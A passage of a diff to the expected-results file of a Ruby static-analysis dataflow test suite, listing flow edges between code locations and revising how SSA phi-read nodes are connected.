UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3654:20:3664 | else ... | UseUseExplosion.rb:20:52:20:3668 | if ... | -| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3659:20:3664 | call to use | UseUseExplosion.rb:20:3654:20:3664 | else ... | -| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) | -| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) | +| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3670:20:3680 | else ... | UseUseExplosion.rb:20:31:20:3684 | if ... | -| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3675:20:3680 | call to use | UseUseExplosion.rb:20:3670:20:3680 | else ... | -| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) | -| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | +| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3686:20:3696 | else ... | UseUseExplosion.rb:20:9:20:3700 | if ... | -| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3691:20:3696 | call to use | UseUseExplosion.rb:20:3686:20:3696 | else ... | -| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | +| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:21:13:21:17 | @prop | UseUseExplosion.rb:21:13:21:23 | ... > ... | | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:35:21:39 | self | | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:3691:21:3696 | self | @@ -3592,15 +2995,14 @@ | local_dataflow.rb:10:5:13:3 | synthetic splat parameter | local_dataflow.rb:10:5:13:3 | __synth__0__1 | | local_dataflow.rb:10:9:10:9 | ... = ... | local_dataflow.rb:10:9:10:9 | if ... | | local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi | -| local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi | | local_dataflow.rb:10:9:10:9 | [post] x | local_dataflow.rb:10:9:10:9 | [input] phi | | local_dataflow.rb:10:9:10:9 | defined? ... | local_dataflow.rb:10:9:10:9 | [false] ! ... | | local_dataflow.rb:10:9:10:9 | defined? ... | local_dataflow.rb:10:9:10:9 | [true] ! ... | | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | ... = ... | | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | x | | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi | -| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi | | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | defined? ... | +| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | phi | | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:12:5:12:5 | x | | local_dataflow.rb:10:14:10:18 | [post] array | local_dataflow.rb:15:10:15:14 | array | | local_dataflow.rb:10:14:10:18 | array | local_dataflow.rb:15:10:15:14 | array | @@ -3615,15 +3017,14 @@ | local_dataflow.rb:15:1:17:3 | synthetic splat parameter | local_dataflow.rb:15:1:17:3 | __synth__0__1 | | local_dataflow.rb:15:5:15:5 | ... = ... | local_dataflow.rb:15:5:15:5 | if ... | | local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi | -| local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi | | local_dataflow.rb:15:5:15:5 | [post] x | local_dataflow.rb:15:5:15:5 | [input] phi | | local_dataflow.rb:15:5:15:5 | defined? ... | local_dataflow.rb:15:5:15:5 | [false] ! ... | | local_dataflow.rb:15:5:15:5 | defined? ... | local_dataflow.rb:15:5:15:5 | [true] ! ... | | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | ... = ... | | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | x | | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi | -| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi | | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | defined? ... | +| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | phi | | local_dataflow.rb:15:10:15:14 | [post] array | local_dataflow.rb:19:10:19:14 | array | | local_dataflow.rb:15:10:15:14 | array | local_dataflow.rb:19:10:19:14 | array | | local_dataflow.rb:16:9:16:10 | 10 | local_dataflow.rb:16:3:16:10 | break | @@ -3635,15 +3036,14 @@ | local_dataflow.rb:19:1:21:3 | synthetic splat parameter | local_dataflow.rb:19:1:21:3 | __synth__0__1 | | local_dataflow.rb:19:5:19:5 | ... = ... | local_dataflow.rb:19:5:19:5 | if ... | | local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi | -| local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi | | local_dataflow.rb:19:5:19:5 | [post] x | local_dataflow.rb:19:5:19:5 | [input] phi | | local_dataflow.rb:19:5:19:5 | defined? ... | local_dataflow.rb:19:5:19:5 | [false] ! ... | | local_dataflow.rb:19:5:19:5 | defined? ... | local_dataflow.rb:19:5:19:5 | [true] ! ... | | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | ... = ... | | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | x | | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi | -| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi | | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | defined? ... | +| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | phi | | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:20:6:20:6 | x | | local_dataflow.rb:20:6:20:6 | x | local_dataflow.rb:20:6:20:10 | ... > ... | | local_dataflow.rb:20:10:20:10 | 1 | local_dataflow.rb:20:6:20:10 | ... > ... | @@ -3687,27 +3087,23 @@ | local_dataflow.rb:60:1:90:3 | synthetic splat parameter | local_dataflow.rb:60:15:60:15 | x | | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:60:15:60:15 | x | | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:61:12:61:12 | x | -| local_dataflow.rb:61:7:68:5 | SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:61:7:68:5 | case ... | local_dataflow.rb:61:3:68:5 | ... = ... | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:63:15:63:15 | x | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:65:6:65:6 | x | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:67:5:67:5 | x | -| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:62:10:62:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... | | local_dataflow.rb:62:15:62:15 | 3 | local_dataflow.rb:62:10:62:15 | then ... | -| local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | | local_dataflow.rb:63:10:63:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | | local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | then ... | -| local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:64:9:65:6 | then ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | | local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | then ... | -| local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:66:3:67:5 | else ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | | local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | else ... | +| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:69:7:76:5 | case ... | local_dataflow.rb:69:3:76:5 | ... = ... | | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:71:13:71:13 | x | | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:73:7:73:7 | x | @@ -3721,7 +3117,6 @@ | local_dataflow.rb:74:3:75:6 | else ... | local_dataflow.rb:69:7:76:5 | case ... | | local_dataflow.rb:75:6:75:6 | x | local_dataflow.rb:74:3:75:6 | else ... | | local_dataflow.rb:78:3:78:3 | z | local_dataflow.rb:89:8:89:8 | z | -| local_dataflow.rb:78:7:88:5 | SSA phi read(self) | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:78:3 | z | | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:88:5 | ... = ... | | local_dataflow.rb:78:12:78:20 | [post] self | local_dataflow.rb:79:20:79:26 | self | @@ -3745,25 +3140,22 @@ | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:86:28:86:34 | self | | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:87:20:87:26 | self | | local_dataflow.rb:79:13:79:13 | b | local_dataflow.rb:79:25:79:25 | b | -| local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:79:15:79:45 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | +| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:79:20:79:26 | call to sink | local_dataflow.rb:79:15:79:45 | then ... | -| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | +| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:80:8:80:8 | a | local_dataflow.rb:80:13:80:13 | a | | local_dataflow.rb:80:13:80:13 | [post] a | local_dataflow.rb:80:29:80:29 | a | | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:13:80:17 | ... > ... | | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:29:80:29 | a | | local_dataflow.rb:80:17:80:17 | 0 | local_dataflow.rb:80:13:80:17 | ... > ... | -| local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:80:19:80:49 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | +| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:80:24:80:30 | call to sink | local_dataflow.rb:80:19:80:49 | then ... | -| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | +| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:81:9:81:9 | c | local_dataflow.rb:82:12:82:12 | c | | local_dataflow.rb:81:13:81:13 | d | local_dataflow.rb:83:12:83:12 | d | | local_dataflow.rb:81:16:81:16 | e | local_dataflow.rb:84:12:84:12 | e | -| local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:81:20:84:33 | then ... | local_dataflow.rb:78:7:88:5 | case ... | | local_dataflow.rb:81:25:84:14 | Array | local_dataflow.rb:81:25:84:14 | call to [] | | local_dataflow.rb:81:25:84:14 | call to [] | local_dataflow.rb:81:20:84:33 | then ... | @@ -3772,32 +3164,29 @@ | local_dataflow.rb:82:7:82:13 | self | local_dataflow.rb:83:7:83:13 | self | | local_dataflow.rb:83:7:83:13 | [post] self | local_dataflow.rb:84:7:84:13 | self | | local_dataflow.rb:83:7:83:13 | self | local_dataflow.rb:84:7:84:13 | self | -| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | -| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | +| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:89:3:89:9 | self | +| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:85:13:85:13 | f | local_dataflow.rb:85:27:85:27 | f | -| local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:85:17:85:47 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | +| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:85:22:85:28 | call to sink | local_dataflow.rb:85:17:85:47 | then ... | -| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | +| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:86:18:86:18 | g | local_dataflow.rb:86:33:86:33 | g | -| local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:86:23:86:53 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | +| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:86:28:86:34 | call to sink | local_dataflow.rb:86:23:86:53 | then ... | -| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | +| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:87:10:87:10 | x | local_dataflow.rb:87:25:87:25 | x | -| local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:87:15:87:48 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | -| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | +| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:89:3:89:9 | self | +| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:87:25:87:25 | [post] x | local_dataflow.rb:87:29:87:29 | x | | local_dataflow.rb:87:25:87:25 | x | local_dataflow.rb:87:29:87:29 | x | | local_dataflow.rb:87:29:87:29 | x | local_dataflow.rb:87:15:87:48 | then ... | | local_dataflow.rb:92:1:109:3 | self (and_or) | local_dataflow.rb:93:7:93:15 | self | | local_dataflow.rb:92:1:109:3 | self in and_or | local_dataflow.rb:92:1:109:3 | self (and_or) | | local_dataflow.rb:93:3:93:3 | a | local_dataflow.rb:94:8:94:8 | a | -| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) | +| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:20:93:28 | self | | local_dataflow.rb:93:7:93:15 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... | @@ -3805,59 +3194,51 @@ | local_dataflow.rb:93:7:93:15 | self | local_dataflow.rb:93:20:93:28 | self | | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:3 | a | | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:28 | ... = ... | -| local_dataflow.rb:93:7:93:28 | SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self | -| local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) | -| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | +| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:93:20:93:28 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... | -| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | +| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:94:3:94:9 | [post] self | local_dataflow.rb:95:8:95:16 | self | | local_dataflow.rb:94:3:94:9 | self | local_dataflow.rb:95:8:95:16 | self | | local_dataflow.rb:95:3:95:3 | b | local_dataflow.rb:96:8:96:8 | b | | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:3 | b | | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:30 | ... = ... | -| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) | +| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:21:95:29 | self | | local_dataflow.rb:95:8:95:16 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... | | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:21:95:29 | self | | local_dataflow.rb:95:8:95:29 | ... or ... | local_dataflow.rb:95:7:95:30 | ( ... ) | -| local_dataflow.rb:95:8:95:29 | SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self | -| local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) | -| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | +| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:95:21:95:29 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... | -| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | +| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:96:3:96:9 | [post] self | local_dataflow.rb:98:7:98:15 | self | | local_dataflow.rb:96:3:96:9 | self | local_dataflow.rb:98:7:98:15 | self | | local_dataflow.rb:98:3:98:3 | a | local_dataflow.rb:99:8:99:8 | a | -| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) | +| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:20:98:28 | self | | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:20:98:28 | self | | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:3 | a | | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:28 | ... = ... | -| local_dataflow.rb:98:7:98:28 | SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self | -| local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) | -| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | +| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:98:20:98:28 | call to source | local_dataflow.rb:98:7:98:28 | ... && ... | -| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | +| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:99:3:99:9 | [post] self | local_dataflow.rb:100:8:100:16 | self | | local_dataflow.rb:99:3:99:9 | self | local_dataflow.rb:100:8:100:16 | self | | local_dataflow.rb:100:3:100:3 | b | local_dataflow.rb:101:8:101:8 | b | | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:3 | b | | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:31 | ... = ... | -| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) | +| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:22:100:30 | self | | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:22:100:30 | self | | local_dataflow.rb:100:8:100:30 | ... and ... | local_dataflow.rb:100:7:100:31 | ( ... ) | -| local_dataflow.rb:100:8:100:30 | SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self | -| local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) | -| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | +| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:100:22:100:30 | call to source | local_dataflow.rb:100:8:100:30 | ... and ... | -| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | +| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:101:3:101:9 | [post] self | local_dataflow.rb:103:7:103:15 | self | | local_dataflow.rb:101:3:101:9 | self | local_dataflow.rb:103:7:103:15 | self | | local_dataflow.rb:103:3:103:3 | a | local_dataflow.rb:104:3:104:3 | a | @@ -3867,16 +3248,14 @@ | local_dataflow.rb:103:7:103:15 | call to source | local_dataflow.rb:103:3:103:15 | ... = ... | | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:9:104:17 | self | -| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) | +| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:104:5:104:7 | ... \|\| ... | | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:105:8:105:8 | a | | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:3 | a | | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:17 | ... = ... | -| local_dataflow.rb:104:5:104:7 | SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self | -| local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) | -| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | +| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:104:9:104:17 | call to source | local_dataflow.rb:104:5:104:7 | ... \|\| ... | -| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | +| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:105:3:105:9 | [post] self | local_dataflow.rb:106:7:106:15 | self | | local_dataflow.rb:105:3:105:9 | self | local_dataflow.rb:106:7:106:15 | self | | local_dataflow.rb:106:3:106:3 | b | local_dataflow.rb:107:3:107:3 | b | @@ -3886,15 +3265,13 @@ | local_dataflow.rb:106:7:106:15 | call to source | local_dataflow.rb:106:3:106:15 | ... = ... | | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:9:107:17 | self | -| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) | +| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self | | local_dataflow.rb:107:3:107:3 | b | local_dataflow.rb:108:8:108:8 | b | | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:3 | b | | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:17 | ... = ... | -| local_dataflow.rb:107:5:107:7 | SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self | -| local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) | -| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | +| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:108:3:108:9 | self | | local_dataflow.rb:107:9:107:17 | call to source | local_dataflow.rb:107:5:107:7 | ... && ... | -| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | +| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:108:3:108:9 | self 